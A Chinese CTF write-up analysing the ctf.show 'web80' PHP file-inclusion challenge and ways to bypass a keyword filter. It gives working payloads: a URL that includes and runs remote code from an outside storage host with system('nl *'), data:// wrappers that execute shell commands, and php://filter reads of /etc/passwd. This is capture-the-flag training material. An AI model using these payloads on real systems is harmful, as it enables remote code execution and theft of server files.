0 前言
前面我通过 2 个 CTF 题目来讲解了各种协议在文件包含时的简单用法。这篇文章主要是对 web80 做个简要的分析。
1 解题思路
在 web79 中只过滤了 php
,而在 web80 中过滤了 php
和 data
。两个题都是使用 str_replace
进行过滤,所以 web80 的思路和 web79 是一样的。
- 利用大小写绕过
str_replace
函数。(经过测试data 协议
无法使用DATA
绕过。php 伪协议
则只能使用php://input
协议,不能使用php://filter
)。 - 使用其他协议,尽量避免使用关键字。
2 Payload
这里只进行简单介绍,具体做法参考 web79。
2.1 http://
将题目的 URL 进行替换后访问链接,查看网页源码即可获得flag。
http://46399124-ff7e-4684-8e6b-e48ce59c51d8.challenge.ctf.show:8080/?file=https://blog-1256032382.cos.ap-nanjing.myqcloud.com/eval&code=system('nl *');
2.2 data://
关于 data 协议的测试代码:
<?php
include("DATA:text/plain,<?=`nl *`?>"); // 无法执行
include("data:text/plain,<?=`nl *`?>"); // 正常执行
include("PHP://filter/convert.base64-encode/resource=/etc/passwd"); // 正常执行
include("php://filter/convert.base64-encode/resource=/etc/shells"); // 正常执行
?>
3 总结
php 使用大小写都可以执行,data 使用小写可以执行,使用大写却不可以。感觉这种设计好奇怪呐。
果然,实践是检验真理的唯一标准。